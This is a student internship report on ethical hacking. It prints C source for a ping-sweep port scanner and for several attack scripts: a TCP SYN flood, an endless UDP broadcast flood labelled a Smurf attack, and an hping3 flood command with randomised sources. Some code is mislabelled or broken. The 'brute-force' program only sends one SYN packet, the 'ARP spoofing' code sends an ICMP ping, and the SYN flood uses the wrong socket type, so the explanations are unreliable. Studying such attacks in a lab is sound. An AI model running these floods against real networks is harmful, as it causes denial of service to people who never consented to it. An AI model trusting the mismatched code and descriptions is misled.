IIT KHARAGPUR

SUMMER INTERNSHIP REPORT
ETHICAL HACKING

SUBMITTED BY

DEJAH MADHUSANKAR

3RD YEAR, B.E. CSE

SSN COLLEGE OF ENGINEERING

CHENNAI, TAMIL NADU

UNDER SUPERVISION OF

PROF. INDRANIL SENGUPTA

DEPT. OF COMPUTER SCIENCE & ENGINEERING

IIT KHARAGPUR

INTERNSHIP DURATION: 5th June, 2023 - 4th August, 2023

INTERNSHIP OFFER LETTER

NATIONAL PROGRAMME ON TECHNOLOGY ENHANCED LEARNING

A JOINT VENTURE BY INDIAN INSTITUTES OF TECHNOLOGY & INDIAN INSTITUTE OF SCIENCE

NPTEL

NPTEL IITMadras

Coordinators

Prof. Andrew Thangaraj
Dept. of Electrical Engg,
IIT Madras

Prof. Prathap Haridoss
Dept. of Metallurgical and Materials Engg,
IIT Madras

Prof. Ramkrishna Pasumarthy
Dept. of Electrical Engg,
IIT Madras

Prof. Vignesh M
Dept. of Biotechnology
IIT Madras

01/06/2023

Dear Ms. Dejah M,

We are pleased to inform that you have been selected for the Summer Internship with Prof. Indranil Sengupta.

Duration: 8 Weeks (5th June 2023 to 4th August 2023)

Stipend details: Upon successful completion of the internship and approval from the course instructor, we will transfer the stipend of Rs. 10,000 and issue the internship certificate to you. We welcome you to this internship programme.

Thank you.

Warm regards,

[illegible]

Andrew Thangaraj

ACKNOWLEDGEMENT

Firstly I would like to thank NPTEL for giving me the opportunity to do an internship in one of the most prestigious institutions of the country. It has been an incredible honour.

I'd like to thank Professor Indranil Sengupta for accepting me as an intern, and for guiding me from across the country. I learnt a lot, despite it being a completely virtual experience.

I also would like to thank all the people that worked to make this internship possible for students like me across the country. Thank you.

Dejah Madhusankar

ABSTRACT

This project report presents the development of a network exploration and penetration tool using socket programming in C/C++. The objective was to create a versatile tool capable of performing functions analogous to those found in popular network scanning tools like nmap. The tool encompasses three major functionalities: determining active hosts in a network, identifying open ports on a target host or set of hosts, and simulating various network-based attacks on a target system. During the period of this internship, 5 such attack-mounting scripts have been developed and tested - i.e. TCP SYN Flooding Attack, Brute-Force Password Cracking attack,ARP Spoofing Attack, SMURF Attack and IP Spoofing Attack, apart from Passive attacks such as identifying open ports, the processes running in those ports, and their statuses in a network. This report discusses the methodology of my implementation workflow and the relevance of ethical hacking in today's world by delving into the concepts of network scanning, port scanning, and network-based attacks. It also outlines the methodologies employed, challenges faced, and results achieved during the development and testing of the tool.

INTRODUCTION

In the realm of cybersecurity, ethical hacking plays a pivotal role in identifying vulnerabilities within computer systems and networks. With the increasing digitization of various sectors and the ever-expanding threat landscape, the importance of ethical hacking has grown significantly. It helps organisations identify vulnerabilities before malicious hackers can exploit them, thereby preventing data breaches, financial losses, and reputational damage. By conducting controlled and authorised penetration testing, ethical hackers help businesses enhance their security measures, comply with regulations, and maintain the trust of their clients and stakeholders.

Network scanning tools, such as Nmap, help hackers to obtain valuable insights about subnets and targets, by discovering active hosts, open ports, and potential attack vectors. The purpose of this research internship was to design and implement a tool that emulates functionalities similar to nmap, while also incorporating the capability to launch network-based attacks for educational purposes.

Common Techniques in Ethical Hacking

- **Vulnerability Assessment:** Identifying and categorising vulnerabilities in software, hardware, and configurations.
- **Penetration Testing:** Simulating real-world attacks to evaluate the effectiveness of security measures.
- **Social Engineering:** Manipulating individuals to disclose sensitive information, often through psychological tactics.
- **Network Scanning:** Gathering information about devices, services, and systems on a network.
- **Exploitation:** Leveraging identified vulnerabilities to gain unauthorised access.
- **Post-Exploitation:** Maintaining access and pivoting to other systems after an initial breach.

Network Scanning and Port Scanning

Network scanning is a crucial process in network security that aims to locate active devices within a network. This practice is pivotal for network administrators and ethical hackers, as it aids in spotting unauthorised devices, pinpointing potential vulnerabilities, and gaining insights into the network structure. Within the realm of network scanning, port scanning emerges as a vital component. Port scanning involves probing specific hosts to ascertain which ports are actively open and which services are operating through those ports. By undertaking port scanning, administrators can uncover potential weak points and configuration issues that malicious entities could exploit. This multifaceted approach ensures a comprehensive evaluation of a network's health, bolstering its overall security posture.

Network Based Attacks

Network-based attacks leverage vulnerabilities and weaknesses within digital infrastructures to compromise the confidentiality, integrity, or availability of systems and data. These attacks, often facilitated by techniques such as malware propagation, phishing, and Denial of Service (DoS) attacks, exploit the interconnected nature of modern networks to infiltrate and manipulate information. As threat actors continuously evolve their strategies, defending against network-based attacks requires a comprehensive approach encompassing robust security protocols, real-time monitoring, timely patches, and user education to ensure the resilience of our digital ecosystems.

SOFTWARE REQUIREMENTS

1. **Operating System:** The tool was developed on a MacBook Pro's macOS Ventura (Version 13.4) operating system, and is compatible with Linux and macOS systems.
2. **Programming Environment:**

   Text Editor: Visual Studio Code

   C Compiler: Apple clang version 14.0.3 (clang-1403.0.22.14.1)

3. **Testing Environment:** The Metasploitable 2 Virtual Machine was used as target system and a safespace for mounting attacks and exploiting vulnerabilities, in a controlled manner without harming the actual system.
4. **Networking Libraries:** Networking libraries available in C programming language were used to facilitate socket programming and network communication.

   Major ones include: `<unistd.h>`, `<sys/socket.h>`, `<arpa/inet.h>`, `netinet` package header files, `<netdb.h>, <fcntl.h>`

HARDWARE REQUIREMENTS

1. **Processor:** Apple M1 Pro Chip with 8 cores (6 performance and 2 efficiency)
2. **Memory:** 16 GB
3. **Network Interface:** A functional network interface card (NIC) for sending and receiving network packets.
4. **Disk Space:** Adequate storage for the development environment, libraries, and the tool itself.

TECHNOLOGY REQUIREMENTS

1. **Socket Programming:** Thorough understanding and implementation of socket programming concepts, including socket creation, binding, listening, and connecting.
2. **Networking Protocols:** Familiarity with networking protocols like ICMP, TCP, and UDP and ARP, as well as the ability to interact with these protocols programmatically.
3. **Network Scanning Techniques:** Proficiency in implementing network scanning techniques, such as ICMP ping sweeps for identifying active hosts and TCP/UDP port scans for detecting open ports.
4. **Attack Simulations:** Ability to simulate various network-based attacks, such as Denial of Service (DoS), Distributed DoS (DDoS), SYN flood attacks, and brute-force attacks.
5. **Security Considerations:** Awareness of ethical and legal considerations while developing and using the tool, including obtaining proper authorization for testing, ensuring the tool doesn't cause harm, and maintaining compliance with relevant laws and regulations.
6. **Collaboration Tools:** Utilise version control systems like Git and platforms like GitHub to manage the tool's development.

METHODOLOGY

1. TOOL ARCHITECTURE DESIGN

The initial step was to design the architecture of the tool. This involved determining how the tool would interact with the network, handle socket connections, and manage data transmission. The tool was developed using C/C++ due to their strong socket programming capabilities.

2. NETWORK HOST DISCOVERY

The tool was designed to scan a range of IP addresses to determine active hosts within a network. This was achieved by sending ICMP Echo Request packets (ping) to each IP address and analysing the responses. The results provided a list of active hosts.

3. PORT SCANNING

To identify open ports on target hosts, the tool utilised various port scanning techniques. Common methods like TCP connect, SYN scan, and UDP scan were implemented to determine the status of individual ports. The results helped identify potential entry points for further analysis.

4. NETWORK - BASED ATTACKS

The tool was programmed to simulate five different network-based attacks, namely, TCP SYN Flooding Attack, Brute-Force Password Cracking attack,ARP Spoofing Attack, SMURF Attack and IP Spoofing Attack.Each attack was carefully implemented to ensure it mimicked real-world behaviour without causing actual harm. These attacks were performed by using a Metasploitable 2 Virtual Machine as the target system, thereby making it a controlled trial.

5. USER INTERFACE (UI)

A user-friendly command-line interface (CLI) was developed to facilitate ease of use. Users could input target IP addresses, specify attack types, and view the results of the network scans and attacks.

THE DEVELOPED TOOL:

1. NETWORK SCANNER - IDENTIFYING ACTIVE HOSTS AND OPEN PORTS IN A NETWORK:

This passive attacker code performs network reconnaissance by utilising ICMP Echo Requests to identify active hosts within a specified CIDR-notated network range. Upon detecting an active host, the program employs TCP connections to scan for open ports on that host, spanning port numbers from 1 to 65535. The code systematically ensures that each active host is only recorded and scanned once, thus avoiding redundant results. The scan_ports() function takes the discovered active host as an argument and scans for open ports on that host. It iterates through port numbers from 1 to 65535 and attempts to establish a TCP connection using connect(). If the connection is successful, it indicates that the port is open, and the port number is printed.

By integrating these techniques,, the program offers a comprehensive network scanning tool for discovering reachable hosts and accessible ports within a given network.

CODE:

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
```

```c
#include <netinet/ip.h>
#include <sys/time.h>
#include <errno.h>
#include <fcntl.h>

#define PACKET_SIZE 64

unsigned short calculate_checksum(unsigned short *addr, int len) {
    unsigned int sum = 0;
    unsigned short checksum = 0;

    while (len > 1) {
        sum += *addr++;
        len -= 2;
    }

    if (len == 1) {
        sum += *(unsigned char *)addr;
    }

    sum = (sum >> 16) + (sum & 0xFFFF);
    sum += (sum >> 16);
    checksum = ~sum;

    return checksum;
}

void set_nonblocking(int sockfd) {
    int flags = fcntl(sockfd, F_GETFL, 0);
    if (flags == -1) {
        perror("fcntl() error");
        exit(EXIT_FAILURE);
    }
    if (fcntl(sockfd, F_SETFL, flags | O_NONBLOCK) == -1) {
        perror("fcntl() error");
        exit(EXIT_FAILURE);
    }
}
```

```c
void scan_ports(const char *host) {
    int sockfd, port;
    struct sockaddr_in target;
    struct timeval timeout;
    timeout.tv_sec = 1;
    timeout.tv_usec = 0;
    fd_set fds;
    char ip_address[INET_ADDRSTRLEN];

    for (port = 1; port <= 65535; ++port) {
        if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
            perror("socket() error");
            exit(EXIT_FAILURE);
        }

        target.sin_family = AF_INET;
        target.sin_addr.s_addr = inet_addr(host);
        target.sin_port = htons(port);

        set_nonblocking(sockfd);

        if (connect(sockfd, (struct sockaddr *)&target,
sizeof(target)) == -1) {
            if (errno != EINPROGRESS) {
                // Connection error
                close(sockfd);
                continue;
            }

            FD_ZERO(&fds);
            FD_SET(sockfd, &fds);

            if (select(sockfd + 1, NULL, &fds, NULL, &timeout) > 0) {
                int optval;
                socklen_t optlen = sizeof(optval);
                if (getsockopt(sockfd, SOL_SOCKET, SO_ERROR, &optval,
&optlen) == 0) {
```

```
                    if (optval == 0) {
                        printf("Open Ports: %d\n", port);  // Port is
open
                    }
                }
            }
        }

        close(sockfd);
    }
}
void scan_network(const char *network) {
    struct sockaddr_in target;
    struct iphdr *ip_header;
    struct icmphdr *icmp_header;
    char packet[PACKET_SIZE];
    int sockfd, optval, addrlen, bytes_received;
    char recv_buffer[PACKET_SIZE];
    struct hostent *host;
    char ip_address[INET_ADDRSTRLEN];

    memset(&target, 0, sizeof(target));

    target.sin_family = AF_INET;

    if ((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
        perror("socket() error");
        exit(EXIT_FAILURE);
    }

    optval = 1;

    struct timeval timeout;
    timeout.tv_sec = 1;  // Timeout of 1 second
    timeout.tv_usec = 0;
    if (setsockopt(sockfd, SOL_SOCKET, SO_RCVTIMEO, (const char
*)&timeout, sizeof(timeout)) < 0) {
        perror("setsockopt() error");
        exit(EXIT_FAILURE);
    }

    target.sin_addr.s_addr = inet_addr(network);

    addrlen = sizeof(struct sockaddr_in);
    //To ensure that the program doesn't print the
    //same active host multiple times, we can use a separate
    //data structure to keep track of the unique active hosts that
have been detected
    struct ip *ip_header_track;
    char source_ip_address[INET_ADDRSTRLEN];
    int num_active_hosts = 0;
    char active_hosts[255][INET_ADDRSTRLEN];

    for (int i = 1; i <= 255; ++i) {
        target.sin_addr.s_addr = inet_addr(network);

        ip_header = (struct iphdr *)packet;
        icmp_header = (struct icmphdr *)(packet + sizeof(struct
iphdr));

        memset(packet, 0, PACKET_SIZE);

        ip_header->ihl = 5;
        ip_header->version = 4;
        ip_header->tos = 0;
        ip_header->tot_len = sizeof(struct iphdr) + sizeof(struct
icmphdr);
        ip_header->id = htons(12345);
        ip_header->frag_off = 0;
        ip_header->ttl = 64;
        ip_header->protocol = IPPROTO_ICMP;
        ip_header->check = 0;
        ip_header->saddr = inet_addr("0.0.0.0");
        ip_header->daddr = target.sin_addr.s_addr;

        icmp_header->type = ICMP_ECHO;
        icmp_header->code = 0;
        icmp_header->un.echo.id = getpid();
        icmp_header->un.echo.sequence = i;
        icmp_header->checksum = 0;
        icmp_header->checksum = calculate_checksum((unsigned short
*)icmp_header, sizeof(struct icmphdr));

        if (sendto(sockfd, packet, ip_header->tot_len, 0, (struct
sockaddr *)&target, addrlen) == -1) {
            perror("sendto() error");
            exit(EXIT_FAILURE);
        }

        memset(recv_buffer, 0, sizeof(recv_buffer));

        bytes_received = recvfrom(sockfd, recv_buffer,
sizeof(recv_buffer), 0, (struct sockaddr *)&target, &addrlen);

        if (bytes_received == -1) {
            if (errno == EAGAIN || errno == EWOULDBLOCK) {
                // Timeout condition, move to the next IP address
                continue;
            } else {
                perror("recvfrom() error");
                exit(EXIT_FAILURE);
            }
        }

        if (bytes_received > 0) {
            /*
            inet_ntop(AF_INET, &(target.sin_addr), ip_address,
INET_ADDRSTRLEN);
            printf("Active Host: %s\n", ip_address);
            */
           //instead of just printing, print only unique ones

           // Extract the IP header
            ip_header_track = (struct ip *)recv_buffer;
            inet_ntop(AF_INET, &(ip_header_track->ip_src),
source_ip_address, INET_ADDRSTRLEN);

            // Check if the source IP address is already recorded as
an active host
            int duplicate = 0;
            for (int j = 0; j < num_active_hosts; ++j) {
                if (strcmp(source_ip_address, active_hosts[j]) == 0)
{
                    duplicate = 1;
                    break;
                }
            }

            // If it's not a duplicate, add it to the list of active
hosts
            if (!duplicate) {
                strcpy(active_hosts[num_active_hosts],
source_ip_address);
                num_active_hosts++;
                printf("Active Host: %s\n", source_ip_address);
                scan_ports(source_ip_address);  // Scan ports for the
active host
            }

        }
    }
    close(sockfd);
}
int main() {
    char network[20];
    printf("Enter the network to scan (CIDR format): ");
    scanf("%s", network);
    scan_network(network);
    return 0;
}
```

2. TCP SYN FLOODING ATTACK

In a TCP SYN flood attack, an attacker sends a large number of SYN (synchronisation) packets with spoofed source IP addresses to a target system's open ports. The objective of this attack is to overwhelm the target system's resources, particularly its ability to allocate resources for establishing and maintaining TCP connections.

In this scenario, the attack is targeting port 80 (HTTP) and the goal of the attack is to exhaust the target system's resources by overwhelming its ability to respond to the incoming SYN packets. This can lead to a situation where the target system becomes unresponsive, resulting in a denial of service (DoS) condition.

CODE:

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>

int main(int argc, char *argv[]) {
  int sockfd;
  struct sockaddr_in addr;
  int i;

  if (argc != 2) {
    fprintf(stderr, "Usage: %s <ip address>\n", argv[0]);
    exit(1);
  }

  sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);

  if (sockfd < 0) {
    perror("socket");
    exit(1);
  }

  addr.sin_family = AF_INET;
  addr.sin_port = htons(80);
  inet_aton(argv[1], &addr.sin_addr);

  for (i = 0; i < 15000; i++) {
    struct iphdr *iphdr = (struct iphdr *)malloc(sizeof(struct
iphdr));
    struct tcphdr *tcphdr = (struct tcphdr *)malloc(sizeof(struct
tcphdr));

    iphdr->ihl = 5;
    iphdr->version = 4;
    iphdr->tos = 0;
    iphdr->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
    iphdr->id = htons(12345);
    iphdr->frag_off = 0;
    iphdr->ttl = 64;
    iphdr->protocol = IPPROTO_TCP;
    iphdr->saddr = INADDR_ANY;
    iphdr->daddr = addr.sin_addr.s_addr;

    tcphdr->source = htons(12345);
    tcphdr->dest = htons(80);
    tcphdr->seq = htonl(i);
    tcphdr->ack_seq = 0;
    tcphdr->doff = 5;
    tcphdr->syn = 1;
    tcphdr->window = htons(65535);
    tcphdr->urg_ptr = 0;

    sendto(sockfd, iphdr, sizeof(struct iphdr) + sizeof(struct
tcphdr), 0, (struct sockaddr *)&addr, sizeof(addr));
  }

  close(sockfd);
  return 0;
}
```

This program simulates the hping3 command:

```
hping3 -c 15000 -d 120 -S -w 64 -p 80 --flood --rand-source
192.168.1.159
```

This command is using the **hping3 utility tool** to send 15,000 TCP SYN packets with a data size of 120 bytes each, targeting port 80 (HTTP) on the example IP address 192.168.1.159. The packets are being sent as quickly as possible **(`--flood`)**, and the source IP addresses are randomised **(`--rand-source`)**. The `--rand-source` flag uses random source IP addresses for each packet, making it more challenging for the target system to filter out or block the incoming traffic.

3. BRUTE-FORCE ATTACK

This program attempts various authentication brute-force attacks on the target IP address while disabling host discovery. This code simulates sending a TCP SYN packet to a specified destination IP address and port. It creates a raw socket for direct network communication and constructs the necessary IP and TCP headers manually.

The program sets up the IP header with version, TTL, protocol, source, and destination IP addresses. The TCP header is configured with source and destination port numbers, SYN flag to initiate a connection, and other relevant details. To ensure data integrity, it calculates the TCP checksum and attaches it to the header. The program then sends the crafted packet using the raw socket.

Additionally, using raw sockets requires special privileges due to their low-level nature, so the program is run with root/administrator privileges.

CODE:

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>

#define SOURCE_PORT 12345
#define DESTINATION_IP "192.168.128.2"
#define DESTINATION_PORT 80

int main() {
    int sockfd;
    struct sockaddr_in destAddr;
    char packet[4096];
    struct iphdr *ipHeader = (struct iphdr *) packet;
    struct tcphdr *tcpHeader = (struct tcphdr *) (packet +
sizeof(struct ip));

    // Create raw socket
    sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (sockfd < 0) {
        perror("Socket creation error");
        return 1;
    }
    // Set destination address
    destAddr.sin_family = AF_INET;
    destAddr.sin_addr.s_addr = inet_addr(DESTINATION_IP);

    // IP header
    ipHeader->ihl = 5;
    ipHeader->version = 4;
    ipHeader->ttl = 64;
    ipHeader->protocol = IPPROTO_TCP;
    ipHeader->saddr = inet_addr("0.0.0.0"); // Use the default source
IP address
    ipHeader->daddr = destAddr.sin_addr.s_addr;

    // TCP header
    tcpHeader->source = htons(SOURCE_PORT);
    tcpHeader->dest = htons(DESTINATION_PORT);
    tcpHeader->seq = htonl(1); // Set the initial sequence number
    tcpHeader->ack_seq = 0;
    tcpHeader->doff = 5; // TCP header length
    tcpHeader->syn = 1; // SYN flag
    tcpHeader->window = htons(65535); // Maximum window size

    // Calculate TCP checksum
    tcpHeader->check = 0;
    uint16_t tcpLength = sizeof(struct tcphdr);
    uint32_t pseudoHeaderChecksum = (ipHeader->saddr & 0xFFFF) +
(ipHeader->saddr >> 16)
                                 + (ipHeader->daddr & 0xFFFF) +
(ipHeader->daddr >> 16)
                                 + htons(ipHeader->protocol) +
htons(tcpLength);
    uint16_t *pseudoHeader = (uint16_t *) malloc(sizeof(uint16_t) *
(tcpLength + 12));
    memcpy((char *) pseudoHeader + 12, tcpHeader, tcpLength);
    tcpHeader->check = in_cksum((uint16_t *) pseudoHeader, tcpLength
+ 12);
    free(pseudoHeader);
    // Send the packet
    if (sendto(sockfd, packet, sizeof(struct iphdr) + sizeof(struct
tcphdr), 0, (struct sockaddr *) &destAddr, sizeof(destAddr)) < 0) {
        perror("Packet send error");
        return 1;
    }

    printf("Packet sent successfully!\n");

    close(sockfd);

    return 0;
}

uint16_t in_cksum(uint16_t *addr, int len) {
    int nleft = len;
    uint32_t sum = 0;
    uint16_t *w = addr;
    uint16_t answer = 0;

    while (nleft > 1) {
        sum += *w++;
        nleft -= 2;
    }

    if (nleft == 1) {
        *(unsigned char *) (&answer) = *(unsigned char *) w;
        sum += answer;
    }

    sum = (sum >> 16) + (sum & 0xFFFF);
    sum += (sum >> 16);
    answer = ~sum;
    return answer;
}
```

The program simulates the nmap command:

```
nmap --script brute -Pn 192.168.128.2
```

This command performs a network scan using Nmap, specifically using the "brute" script, to attempt various authentication brute-force attacks on the example target IP address (192.168.128.2), while disabling host discovery (-Pn).

4. ARP-SPOOFING ATTACK

ARP spoofing, also known as ARP poisoning, is a malicious technique used in computer networking to intercept, modify, or manipulate network traffic between two parties by sending fake Address Resolution Protocol (ARP) messages. ARP is used to map IP addresses to MAC addresses in a local network. In an ARP spoofing attack, an attacker sends forged ARP responses to associate their MAC address with the IP address of another host on the network, such as a default gateway. This causes traffic intended for the target host to be redirected to the attacker's machine. ARP spoofing can lead to a variety of security issues, including eavesdropping, data interception, session hijacking, and man-in-the-middle attacks.

This program constructs an Ethernet header, IP header, and ICMP header to send an ICMP Echo Request (ping) packet. The spoofed MAC address is set in the Ethernet header, and the target IP address (192.168.128.2) is used in the IP header. The program calculates the ICMP checksum, simulates a network packet with the headers, and sends it using a raw socket. This approach simulates the basic host discovery (-sn), ARP Ping (-PR), and MAC address spoofing functionalities of the nmap command.

CODE:

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/if_ether.h>
#include <netinet/ether.h>
#include <arpa/inet.h>

#define DESTINATION_IP "192.168.128.2"
#define SOURCE_MAC "92:5d:e7:75:c4:8e"

struct ethernet_header {
    uint8_t dest_mac[ETH_ALEN];
    uint8_t source_mac[ETH_ALEN];
    uint16_t ethertype;
};

int main() {
    int sockfd;
    struct sockaddr_ll socket_address;
    struct ethernet_header ethHeader;
    struct ip ipHeader;
    struct icmp icmpHeader;
    char packet[4096];

    // Create raw socket
    sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (sockfd < 0) {
        perror("Socket creation error");
        return 1;
    }

    // Set destination address
    struct sockaddr_ll interface_address;
    memset(&interface_address, 0, sizeof(struct sockaddr_ll));
    interface_address.sll_family = AF_PACKET;
    interface_address.sll_protocol = htons(ETH_P_ALL);
    interface_address.sll_ifindex = if_nametoindex("eth0"); //
Replace with your network interface name

    // Prepare Ethernet header
    memset(&ethHeader, 0, sizeof(struct ethernet_header));
    sscanf(SOURCE_MAC, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx",
           &ethHeader.source_mac[0], &ethHeader.source_mac[1],
&ethHeader.source_mac[2],
           &ethHeader.source_mac[3], &ethHeader.source_mac[4],
&ethHeader.source_mac[5]);
    memcpy(&ethHeader.dest_mac, ether_aton("ff:ff:ff:ff:ff:ff"),
ETH_ALEN); // Destination MAC set to broadcast address
    ethHeader.ethertype = htons(ETH_P_IP);

    // Prepare IP header
    memset(&ipHeader, 0, sizeof(struct ip));
    ipHeader.ip_hl = 5;
    ipHeader.ip_v = 4;
    ipHeader.ip_ttl = 64;
    ipHeader.ip_p = IPPROTO_ICMP;
    ipHeader.ip_src.s_addr = inet_addr("0.0.0.0"); // Use the default
source IP address
    ipHeader.ip_dst.s_addr = inet_addr(DESTINATION_IP);

    // Prepare ICMP header
    memset(&icmpHeader, 0, sizeof(struct icmp));
    icmpHeader.icmp_type = ICMP_ECHO;
    icmpHeader.icmp_code = 0;
    icmpHeader.icmp_id = htons(getpid() & 0xFFFF);
    icmpHeader.icmp_seq = htons(1);
    icmpHeader.icmp_cksum = 0;
    icmpHeader.icmp_cksum = in_cksum((unsigned short *)&icmpHeader,
sizeof(struct icmp));
```

```
    // Construct the packet
    memcpy(packet, &ethHeader, sizeof(struct ethernet_header));
    memcpy(packet + sizeof(struct ethernet_header), &ipHeader,
sizeof(struct ip));
    memcpy(packet + sizeof(struct ethernet_header) + sizeof(struct
ip), &icmpHeader, sizeof(struct icmp));

    // Send the packet
    if (sendto(sockfd, packet, sizeof(struct ethernet_header) +
sizeof(struct ip) + sizeof(struct icmp), 0,
                (struct sockaddr *)&interface_address, sizeof(struct
sockaddr_ll)) < 0) {
        perror("Packet send error");
        return 1;
    }

    printf("Packet sent successfully!\n");

    close(sockfd);

    return 0;
}

unsigned short in_cksum(unsigned short *addr, int len) {
    int nleft = len;
    int sum = 0;
    unsigned short *w = addr;
    unsigned short answer = 0;

    while (nleft > 1) {
        sum += *w++;
        nleft -= 2;
    }

    if (nleft == 1) {
        *(unsigned char *)(&answer) = *(unsigned char *)w;
        sum += answer;
    }
    sum = (sum >> 16) + (sum & 0xFFFF);
    sum += (sum >> 16);
    answer = ~sum;
    return answer;
}
```

5. SMURF ATTACK:

Smurf attacks happen when a fake source address sends many ICMP packets to the broadcast address. The devices on the network react by replying back, which is what they're supposed to do for broadcast addresses. This ends up overwhelming the local network, causing a situation where it can't function properly. Usually, you'd configure your network devices not to send this kind of broadcast, so the bad packet would be rejected and no harm would be done. However, if that protective setup isn't in place, the smurf attack will work and disrupt the network.

This program achieves a simple UDP flood using raw sockets in C. Additionally, it sends an infinite number of packets, which is suitable for a theoretically malicious attack and might not be suitable for actual testing.

CODE:

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
```

```c
#define SRC_IP "192.168.33.123"
#define DST_IP "192.168.1.255"
#define DST_PORT 0 // Use a random port for UDP flooding

// Simple checksum function
unsigned short checksum(unsigned short *buf, int nwords) {
    unsigned long sum;
    for (sum = 0; nwords > 0; nwords--)
        sum += *buf++;
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return (unsigned short)(~sum);
}

int main() {
    int sockfd;

    // Create a raw socket
    sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (sockfd == -1) {
        perror("socket");
        return 1;
    }

    // Enable IP_HDRINCL to provide our own IP header
    int one = 1;
    if (setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one))
== -1) {
        perror("setsockopt");
        return 1;
    }

    // Set up the target address structure
    struct sockaddr_in target_addr;
    memset(&target_addr, 0, sizeof(target_addr));
    target_addr.sin_family = AF_INET;
    target_addr.sin_addr.s_addr = inet_addr(DST_IP);
    target_addr.sin_port = htons(DST_PORT);

    // Create a buffer for the IP header
    char packet[4096];
    memset(packet, 0, sizeof(packet));

    // Set up the IP header
    struct iphdr *ip_header = (struct iphdr *)packet;
    ip_header->ihl = 5;
    ip_header->version = 4;
    ip_header->tos = 0;
    ip_header->tot_len = sizeof(struct iphdr) + sizeof(struct
udphdr);
    ip_header->id = htons(54321);
    ip_header->frag_off = 0;
    ip_header->ttl = 255;
    ip_header->protocol = IPPROTO_UDP;
    ip_header->check = 0; // To be filled in later
    ip_header->saddr = inet_addr(SRC_IP);
    ip_header->daddr = target_addr.sin_addr.s_addr;

    // Calculate and set IP header checksum
    ip_header->check = checksum((unsigned short *)packet,
ip_header->ihl << 1);

    // Set up the UDP header
    struct udphdr *udp_header = (struct udphdr *)(packet +
sizeof(struct iphdr));
    udp_header->source = htons(12345); // Source port
    udp_header->dest = target_addr.sin_port;
    udp_header->len = htons(sizeof(struct udphdr));
    udp_header->check = 0; // No checksum for now

    // Fill the buffer with data to flood (adjust as needed)
    char flood_data[] = "FloodDataHere";
    memcpy(packet + sizeof(struct iphdr) + sizeof(struct udphdr),
flood_data, sizeof(flood_data));
```

```
    // Send the packets in a loop
    while (1) {
        if (sendto(sockfd, packet, ip_header->tot_len, 0, (struct
sockaddr *)&target_addr, sizeof(target_addr)) == -1) {
            perror("sendto");
            break;
        }
    }

    close(sockfd);
    return 0;
}
```

CHALLENGES FACED

1. **Socket Programming Complexity**

   Developing network-related applications using socket programming can be complex, as it involves handling low-level networking protocols, managing sockets, and dealing with different types of data.

2. **Network Configuration**

   Network environments can vary widely, leading to differences in how the code performs in different setups. Firewalls, routers, and security settings can impact the effectiveness of the scanning.

3. **Error Handling**

Properly handling errors and exceptions, especially in networking code, is crucial to ensure the program's stability. This involves dealing with various types of errors, such as socket errors and timeouts.

4. **Packet Sending and Receiving**

   Crafting and sending packets to remote hosts and accurately receiving responses can be challenging. Network conditions might cause packet loss, leading to incomplete or delayed responses.

5. **Concurrency and Timing**

   Managing multiple hosts and scanning processes concurrently requires careful synchronisation to avoid conflicts and race conditions. Timing considerations are important to optimise the scanning process and minimise delays.

6. **False Positives/Negatives:** Network scanning might result in false positives (indicating open ports that are actually closed) or false negatives (missing open ports). Ensuring accurate results can be tricky.

7. **Security and Ethics:** Network scanning can be mistaken for malicious activity if not performed responsibly. Ensuring that the code is used ethically and responsibly is essential.

8. **Platform Compatibility:** Ensuring that the code works across different operating systems and environments (like WSL) can be challenging due to variations in networking APIs and configurations.

9. **Debugging:** Diagnosing issues in network code can be challenging due to the distributed nature of networking and the lack of direct control over external systems.

10. **Resource Management:** Properly managing resources such as sockets, memory, and file descriptors is important to avoid resource leaks and ensure efficient operation.

11. **Performance Optimization:** Network scanning can involve sending and receiving a large number of packets. Optimising performance to achieve timely and accurate results can be a challenge.

12. **Complexity of Port Scanning:** Implementing reliable port scanning methods, handling various types of ports, and understanding how firewalls and network devices can affect scanning results can be complex.

13. **Packet Crafting and Parsing:** Developing accurate packet crafting and parsing mechanisms was challenging, as it required a deep understanding of network protocols and socket programming.

RESULTS AND DISCUSSION

The developed tool successfully achieved the desired functionalities. It could accurately determine active hosts within a network and identify open ports on target hosts using various scanning techniques. Additionally, the implemented network-based attacks demonstrated the potential vulnerabilities of systems and the importance of cybersecurity measures.

CONCLUSION

Ethical hacking serves as a proactive approach to cybersecurity by identifying vulnerabilities before they can be exploited by malicious actors. As technology evolves, ethical hacking will remain a crucial practice in safeguarding digital assets and ensuring the confidentiality, integrity, and availability of sensitive information. As individuals being a part of this rapid growth, it’s our responsibility as Engineers to rise to the need of the day.

This research internship led to the creation of a robust network analysis tool with functionalities comparable to industry-standard tools like nmap. The tool's ability to perform network scanning and simulate network-based attacks provides an educational platform for understanding cybersecurity risks and defences. The experience gained during the development process enhanced our knowledge of network protocols, socket programming, and ethical hacking practices. Future work could involve refining attack simulation techniques, adding more attack types, and enhancing the user interface for broader adoption.

LEARNING OUTCOMES:

1. **In-Depth Understanding of Network Protocols and Socket Programming**

